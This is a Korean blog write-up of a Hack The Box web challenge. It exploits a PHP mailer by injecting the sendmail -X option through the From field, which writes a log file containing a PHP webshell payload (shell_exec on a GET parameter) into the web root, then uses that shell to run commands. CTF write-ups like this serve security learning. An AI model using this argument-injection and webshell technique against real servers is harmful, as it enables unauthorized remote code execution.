티스토리 뷰

728x90
반응형

문제 개요

문제 설명  난이도 및 유형
A high-profile political individual was a victim of a spear-phishing attack. The email came from a legitimate government entity in a nation we don't have jurisdiction. However, we have traced the originating mail to a government webserver. Further enumeration revealed an open directory index containing a PHP mailer script we think was used to send the email. We need access to the server to read the logs and find out the actual perpetrator. Can you help? Web - Easy

문제 링크에 접속하면 위와 같은 페이지가 처음에 보입니다. 그리고 mailer.zip 파일을 다운로드하면 mailer.php 파일의 PHP 소스코드 내용이 보입니다.

 

그리고 /mailer.php 경로에 접속해보면 아래와 같은 페이지를 볼 수 있습니다.

 

키워드 : Command Injection, RCE, webshell upload

 

문제 풀이

입력란에 내용을 입력하고 START DELIVERY 버튼을 누르면 결국 send_mail 함수가 호출되고 최종적으로 email 클래스의 send 함수가 호출되게 됩니다.

public function send($to_name, $to_addr, $from_name, $from_addr, $subject = '', $headers = [])
    {

        foreach (["\n", "\r"] as $line_ending)
        {
            foreach ([$to_name, $to_addr, $subject, $from_name, $from_addr] as $header_value)
            {
                if (false !== strstr($header_value, $line_ending))
                {
                    return false;
                }
            }
        }

        $to = $this->format_address($to_addr, $to_name);
        $from = $this->format_address($from_addr, $from_name);

        if (defined('EMAIL_FROM'))
        {
            $sender_headers = ['From: ' . EMAIL_FROM, 'Reply-to: ' . $from];
            $from_addr = EMAIL_FROM;
        }
        else
        {
            $sender_headers = ['From: ' . $from];
        }

        $headers = array_merge($this->headers, $sender_headers, $this->normalize_headers($headers));

        return mail($to, $subject, $this->output, implode($this->lf, $headers) , "-f$from_addr");
    }

그리고 최하단에 보면 mail 이라는 함수가 사용자 정의 함수가 아니라 PHP 함수인 것을 알 수 있는데, 해당 함수에 대한 설명은 아래 링크에서 볼 수 있습니다.

https://www.php.net/manual/en/function.mail.php

 

PHP: mail - Manual

I migrated an application to a platform without a local transport agent (MTA). I did not want to configure an MTA, so I wrote this xxmail function to replace mail() with calls to a remote SMTP server. Hopefully it is of some use.function xxmail($to, $subje

www.php.net

위 링크를 읽어보면 알겠지만 Linux/Unix 에는 메일 보내는 명령어 중 sendmail 과 qmail 이라는 것이 있다는 것을 알 수 있고, PHP의 mail 함수는 sendmail 명령어를 사용하는 것을 알 수 있습니다.

 

그리고 mail 함수에는 옵션으로 additional_params 라는 파라미터를 선택적으로 사용할 수 있다고 하는데요.

위 mailer.php 코드에서는 "-f$from_addr" 라는 문자열을 이 파라미터에 인자값으로 넘겨주고 있습니다.

https://www.php.net/manual/en/function.mail.php

그리고 additional_params 옵션은 특이하게 escapeshellcmd() 함수로 임의의 명령어 실행을 방지하고 있다고 하는데요. PHP에서 escapeshellcmd 함수는 &#;`|*?~<>^()[]{}$\,\x0A,\xFF,'," 같은 문자들을 전부 백슬래시를 추가해서 막고 있습니다.

https://www.php.net/manual/en/function.escapeshellcmd.php

그렇기 때문에 아래와 같은 command injection 은 불가능하다는 것을 알 수 있습니다.

# sh -c /usr/sbin/sendmail -t -i -frelation@moi.gov.htb && ls -al
sh -c /usr/sbin/sendmail -t -i -frelation@moi.gov.htb \&\& ls -al

-f 옵션 뒤에는 $from_addr 즉 mailer.php 에서 입력 폼으로 들어가는 "From Email" 부분이 들어가게 됩니다. 여기에다가 relations@moi.gov.htb && ls -al 를 입력하게 되면 위와 같이 escapeshellcmd 함수로 인해 백슬래시가 추가되어서 원하는 결과를 얻지 못하게 되겠죠.

 

그래서 다른 방법을 구해야하는데, sendmail 명령어의 옵션들을 자세히 살펴보았습니다.

https://docs.oracle.com/cd/E19504-01/802-5827/6i9idjvnk/index.html

 

https://docs.oracle.com/cd/E19504-01/802-5827/6i9idjvnk/index.html

sendmail Command-Line Arguments Use command-line arguments on the /usr/lib/sendmail command line. Table B-1 describes these arguments. Table B-1 sendmail Command-Line Arguments Argument  Description  -Btype Select the body type (7BIT or 8BITMIME).  -bx

docs.oracle.com

sendmail 에는 -Xlogfile 옵션이 존재했습니다.

-Xlogfile Log all traffic in and out of sendmail in the indicated logfile.

바로 sendmail 명령어로 보내지고 돌아오는 메일 내용을 전부 옵션으로 지정한 로그 파일에 저장한다는 것이었습니다.

 

그럼 이제 답이 나왔습니다. 이전에 Log Poisoning 공격으로 RCE 했던 기억을 살려서 똑같이 이 문제에도 적용해서 풀었습니다. Log Poisoning 문제는 아래 링크를 참고해보세요.

https://domdom.tistory.com/entry/Toxic-Hackthebox-Writeup%EB%AC%B8%EC%A0%9C%ED%92%80%EC%9D%B4

 

[Hackthebox] - Toxic Writeup(문제풀이)

처음에 접속하면 위와 같은 웹페이지가 나옵니다. 그리고 제공받은 다운로드 파일에는 dockerfile과 index.html와 index.php 등의 일부 소스코드 파일도 존재합니다. 페이지 자체는 그냥 html 파일로 만들

domdom.tistory.com

 

이메일 전송 제목에 PHP Webshell 페이로드를 아래와 같이 작성해주었습니다.

<?php echo shell_exec($_GET['cmd']);?>

그리고 From Email 에는 -X 옵션으로 php 파일이 존재할 것으로 예상되는 곳을 지정해줍니다. (/var/www/html/cmd.php)

그리고 START DELIVERY 버튼을 눌러 메일을 전송해줍니다. 이제 다시 Directory Listing 되던 초기 화면으로 이동해봅시다. 그럼 아래와 같이 cmd.php 파일이 생긴 것을 볼 수 있습니다.

이제 cmd.php 파일, 즉 웹쉘로 flag 파일을 찾아봅시다. 아래는 현재 디렉토리에서 ls -al 명령어를 수행한 결과입니다.

sendmail 보냈을 때 Subject 에 삽입했던 PHP 코드가 잘 삽입되었고 명령어가 실행되는 모습을 볼 수 있습니다.

그리고 flag는 루트 디렉터리에 있는 것이 보입니다.

 

이렇게 문제를 풀 수 있었습니다.

 

- 끝 -

728x90
반응형
댓글